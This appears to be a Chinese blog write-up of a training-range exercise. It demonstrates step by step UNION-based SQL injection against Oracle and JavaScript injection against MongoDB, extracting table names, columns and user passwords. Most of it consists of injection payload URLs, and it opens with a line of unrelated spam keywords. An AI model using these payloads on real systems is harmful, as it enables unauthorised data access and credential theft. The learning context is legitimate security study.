公司官方网站建站,高中男女做羞羞视频网站,青岛建设工程信息网,wordpress页面不显示听课的时候第一次碰到#xff0c;可以了解一下吧#xff0c;就直接开了墨者学院的靶场
#oracle数据库 Oracle数据库注入全方位利用 - 先知社区 这篇写的真的很好 1.判断注入点
当时找了半天没找到 看样子是找到了#xff0c;测试一下看看 id1 and 11 时没有报错 2.判断字段…听课的时候第一次碰到可以了解一下吧就直接开了墨者学院的靶场
#oracle数据库 Oracle数据库注入全方位利用 - 先知社区 这篇写的真的很好 1.判断注入点
当时找了半天没找到 看样子是找到了测试一下看看 id1 and 11 时没有报错 2.判断字段数 3.确定回显点
?id1 union select null,null from dualoracle自带虚拟表dualoracle的查询语句必须完整的包含from字句且每个字段的类型都要准确对应一般使用null来判断类型。?id1 union select null,null from dualoracle对于字段点数据类型敏感也就是说我们不能直接union select 1,2,3来获取显错点了需要在字符型字段使用字符型数据整型字段使用整型数据才可以。如下两个字段都为字符型故使用union select null,null。 第一个null回显在红字部分第二个null回显在下边 4.获取表名
直接查询
获取第一个表名LOGMNR_SESSION_EVOLVE$
?id1 union select null,(select table_name from user_tables where rownum1) from dual 查询其他表
LOGMNR_GLOBAL$
?id1 union select null,(select table_name from user_tables where rownum1 and table_name not in LOGMNR_SESSION_EVOLVE$) from dual LOGMNR_SESSION_EVOLVE$
?id1 union select null,(select table_name from user_tables where rownum1 and table_name not in LOGMNR_GLOBAL$) from dual 模糊查询
sns_users
?id1 union select null,(select table_name from user_tables where table_name like %user% and rownum1) from dual 5.获取列名
USER_NAME
?id1 union select null,(select column_name from user_tab_columns where table_namesns_users and rownum1) from dual USER_PWD
?id1 union select null,(select column_name from user_tab_columns where table_namesns_users and rownum1 and column_name not inUSER_NAME) from dual 5.查询数据
?id1 union select USER_NAME,USER_PWD from sns_users where rownum1 ?id1 union select USER_NAME,USER_PWD from sns_users where rownum1 and USER_NAME zhong 终于出来啦
?id1 union select USER_NAME,USER_PWD from sns_users where rownum1 and USER_NAME zhong and USER_NAME not in hu
解码一下 拿账号密码登录就可 #Mongodb 数据库
MongoDB 查询文档 | 菜鸟教程 渗透测试之地基服务篇服务攻防之数据库Mongodb下 - FreeBuf网络安全行业门户 数据库安全之MongoDB渗透 - FreeBuf网络安全行业门户 先要了解一下查询方式
在mysql中使用where子句来实现条件查询
但是mongogb是使用键值 先看下源码 # 查询语句这里id值可控且没有经过过滤和限制
$query var data db.notice.findOne({id:$id}); return data;;
#打印出数据库中title字段和content字段信息
?php echo $obj[retval][title] ?
?php echo $obj[retval][content] ? 1.判断注入点
还是老的 2.测回显
如何构造payload正常写法select * from news where id1mdb数据库写法select * from news where id{($id)}需要闭合符号原始语句db.notice.findOne({id:$id});return data;如果 ?id1 order by 2那么语句就会变成db.notice.findOne({id:‘1 order by 2’});return data;语句不正确。但是注入语句 ?id1}); return ({title:tojson(db),content:1那么语句就变成db.notice.findOne({id:‘1}); return ({title:tojson(db),content:1});return data; 就可以进行正常的注入。测回显?id1}); return ({title:1,content:test
根据源码来确定 title回显在红色content在灰字 3.获取库名
mozhe_cms_Authority
?id1}); return ({title:tojson(db),content:1db.getCollectionNames()返回的是数组需要用to json转换为字符串。并且mongodb函数区分大小写 4.获取表名
?id1}); return ({title:tojson(db.getCollectionNames()),content:1getCollectionNames()以数组形式返回所有集合需要使用tojson()方法转字符串格式 5.获取数据、
?id1}); return ({title:tojson(db.Authority_confidential.find()[0]),content:1db.Authority_confidential是当前用的集合表find函数用于查询0是第一条数据这个密码得到是假的
?id1}); return ({title:tojson(db.Authority_confidential.find()[1]),content:1查询第二条数据 这是对的